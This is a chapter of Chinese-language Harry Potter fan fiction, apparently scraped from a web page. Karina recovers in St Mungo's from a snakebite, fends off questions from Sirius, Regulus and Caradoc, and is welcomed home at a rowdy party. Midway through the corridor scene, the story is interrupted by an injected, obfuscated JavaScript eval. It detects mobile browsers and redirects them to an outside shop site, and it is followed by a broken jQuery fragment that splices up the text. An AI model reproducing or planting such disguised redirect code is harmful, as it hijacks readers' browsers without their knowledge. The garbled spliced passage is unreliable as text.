“她什么时候才能醒过来？”她听到有人在她身边走动，“你们是靠什么当上治疗师的？脑袋里的鸡毛蒜皮吗？”


    卡莉娜勉强睁开眼睛，看见头顶圣芒戈的天花板。


    她咳嗽了一下，试图坐起来。


    病房里陷入几分钟的兵荒马乱。等到一切平静下来，她半靠在床头，听治疗师和她讲目前的情况。


    “蛇毒。”这位叫做劳伦斯·霍恩比的治疗师对她宣布道，“你被送到医院来的时候流血不止，你姐姐告诉我们你被一条蛇袭击了……听说你是一个斯莱特林？”


    他自顾自地笑了一会儿，很快在病床边所有人的注视下收敛自己的笑声。


    “总而言之，”霍恩比也咳嗽了一下，“我们需要三天来清理你的蛇毒问题，然后还需要至少一周的住院时间来观察你的情况……你知道，以防万一有什么其他症状，这种事也不少见。”


    他的声音在所有人的注视当中越来越小。


    “没有什么其他的了。”他尴尬地翻了翻手上的病历，又抬了抬自己的帽子，“好好休息——和家人朋友们团聚——我明天这个时候再来。”


    沃尔布加抱着双臂，矗立在她床边。奥赖恩坐在另一边的一张椅子上，静静地看着她。西茜不在——卡莉娜也没有指望她在——事实上，她甚至没有预料到这个场景。


    “吃点什么？”卡莉娜同样尴尬地问，“我看这里有苹果。”


    沃尔布加和奥赖恩一言不发。


    她从果篮里拿出两个苹果，递给两个人。


    两个人很僵硬地拿着苹果。


    “你的同学送给你的。”沃尔布加冷冷地说，“我不记得他的名字，但他出现得特别及时……这也挺奇怪的，是不是？”


    卡莉娜很聪明地保持着沉默。


    他们俩像门神一样看了她半天，确认她完全恢复了自己的意识，才决定回格里莫广场去。


    “还有很多事情要做，”沃尔布加漫不经心地说，“我们俩在你身上浪费了太多时间。”


    他们走后，卡莉娜像个门板一样躺着，祈祷着事情不会变得更糟。


    ————


    第二天睁开眼睛，她看到卡拉多克坐在她床边。


    “早上好。”她镇定地说。


    “现在是下午三点。”他说，“治疗师已经查过房走了。”


    “那个喜欢说些怪话的？”卡莉娜说。


    “那个喜欢说些怪话的。”卡拉多克说。


    “如果我说，这条蛇只是恰巧出现在那个位置，你会相信吗？”卡莉娜问。


    “如果你没有给我发消息，告诉我你去了马尔福庄园，”卡拉多克平静无波地说，“我会相信。”


    “我很抱歉。”卡莉娜轻轻握住卡拉多克放在床上的手。


    “不要说抱歉。”卡拉多克的另一只手盖住她的眼睛，“这不是你的错。”


    “我很抱歉。”卡莉娜固执地说。


    卡拉多克有一段时间没有说话。


    “马上就要圣诞节了，”卡莉娜装作轻松地说，“你有什么想要的吗？”


    “今天就是圣诞节。”卡拉多克温柔地说，“我已经收到礼物了——你正在这儿和我活蹦乱跳地说话。”


    “抱歉。”卡莉娜词穷地说。


    他们俩听见病房外闹哄哄的声音。没过一会儿，西里斯和雷古勒斯破门而入，后面跟着那个口无遮拦的治疗师。


    “不要大吵大闹——”霍恩比喊道，“病人还在睡觉——哦，你醒了。”


    霍恩比很丝滑地出去了。


    西里斯气势汹汹地看着她，雷古勒斯则抱着双臂。


    “喔，”卡莉娜说，“下午好。”


    “这就是你想说的？”西里斯说。


    “喔，”卡莉娜绞尽脑汁，说，“确实还有一句。”


    病床边所有人都看着她。


    “圣诞快乐。”她愉快地说。


    病床边所有人都瞪着她。


    “总而言之，”她前言不搭后语地说，“正是如此。”


    最后，卡拉多克没收了病房里所有和知识有关的内容，给她塞了一个毛线篮子。


    “做点不动脑的事。”他严肃地说，“好好养伤。”


    “这是爱米琳的吗？”卡莉娜狐疑地看着这个篮子，“看看这个深绿色的质地……”


    “她友情赞助的。”卡拉多克严谨地说，“我们都认为这是一个消磨时间的有效方式，而且不需要动脑。”


    卡莉娜开始艰辛地往毛衣针上套毛线。


    卡拉多克、西里斯和雷古勒斯走出病房，站在走廊上。


    “她是打定主意什么都不会说，是不是？”西里斯的两只手插在兜里，烦躁地说。


    “确实如此。”卡拉多克安详地说。


    “她在马尔福庄园被蛇咬了？”雷古勒斯向卡拉多克确认，“至少我们是这样知道的。”


    “你们怎么知道的？”卡拉多克不动声色地问。


    “邓布利多教授告诉我们的。”雷古勒斯说，“我去给他送这个月的《炼金术评论》，然后他就告诉了我这个消息，并让我去找西里斯……”


    “一放假我们就过来了，”西里斯说，“虽然邓布利多教授说她已经醒过来了，但……”


    他换了一只脚作为重心。


    “你也是打定主意什么都不会说，是不是？”雷古勒斯仔细打量着卡拉多克的表情，“你们到底是在搞什么鬼？”


    “我完全尊重卡莉娜的意见。”卡拉多克声明道。


    “我们会发现你们在搞什么鬼的。”西里斯用一根手指指着卡拉多克，“别以为一言不发就能保守秘密。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688530|185562||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    卡拉多克一言不发。


    西里斯怒瞪着他，把雷古勒斯推进病房，然后一把把卡拉多克关在门外。


    卡拉多克面对着门板，沉默着。


    他身后经过许多人，有匆忙的治疗师，有欢笑着的人们，有嚎哭着的人们，有麻木的人们。


    有水珠掉落在地面上。


    卡拉多克决定去买一些甜点。


    或许一些巧克力。或许一些冰激凌。


    他模糊地听见卡莉娜在里面和她弟弟聊天，决定还是买些冰激凌。


    更多水珠掉落在地面上。


    他去买冰激凌了。


    ————


    卡莉娜出院那天，伊莎贝拉和爱米琳策划了一场庆祝宴。


    巴兹尔辛辛苦苦地端上来十几道菜，所有试图在厨房捣乱的人都被他臭骂一顿。


    “巴兹尔神圣而不可侵犯的领地。”吉迪翁对卡莉娜说，“我和费比安打算刻一个牌子挂在厨房外面。”


    “我想你们确实亵渎了食材的神圣性。”德达洛插嘴道，“不管怎样，我都不赞成看到水果煮咸汤。”


    “开动你的脑筋！”费比安一把抓住德达洛的肩膀，“忘记我们的宗旨了吗——总需要一些尝试——说不准会有全新的成果！”


    “或者只是灾难。”巴兹尔路过他们背后，很窝囊地说。


    “不管怎样！”爱米琳举着一个小礼炮，“让我们庆祝卡莉娜顺利出院！”


    所有人手里的小礼炮都发出爆炸般的声响——彩纸突然淹没了整个房间。


    “是谁？”加雷斯拂开自己头上的纸片，“是谁动了这些礼炮？”


    “我想不需要问。”斯多吉摩拳擦掌，“我逮左边那个，你逮右边那个……”


    塞巴斯蒂安先发制人，从沙发上一跃而起，拦腰抱住两只红毛巨怪的腰。


    “我抓住他们了！”塞巴斯蒂安大喊道。


    卡莉娜看着面前的一片鸡飞狗跳，脸上带着快活的、真诚的笑容。快乐总是让人健忘……忘记她自己的住院，吉迪翁和费比安包着绷带的胸膛和斯多吉到现在还有些跛的脚。


    他们做出选择，他们付出代价。但总有些东西让他们愿意付出代价。


    ————


    所有人一起收拾了一片狼藉。


    卡莉娜能听到塞巴斯蒂安荒腔走板的歌声——到最后，大家都有些醉了——一帮不靠谱的家伙们勾肩搭背，决定走回去。


    卡拉多克拉上窗帘。


    他们俩缩在被窝里，听见彼此稳定的呼吸声。


    “欢迎回家。”卡拉多克对她说。


    卡莉娜感到他胸膛里的心脏健康地跳动着。


    “晚安。”卡莉娜对他说。


    “晚安。”卡拉多克回应道。


    至少此时此刻，你安全了，亲爱的。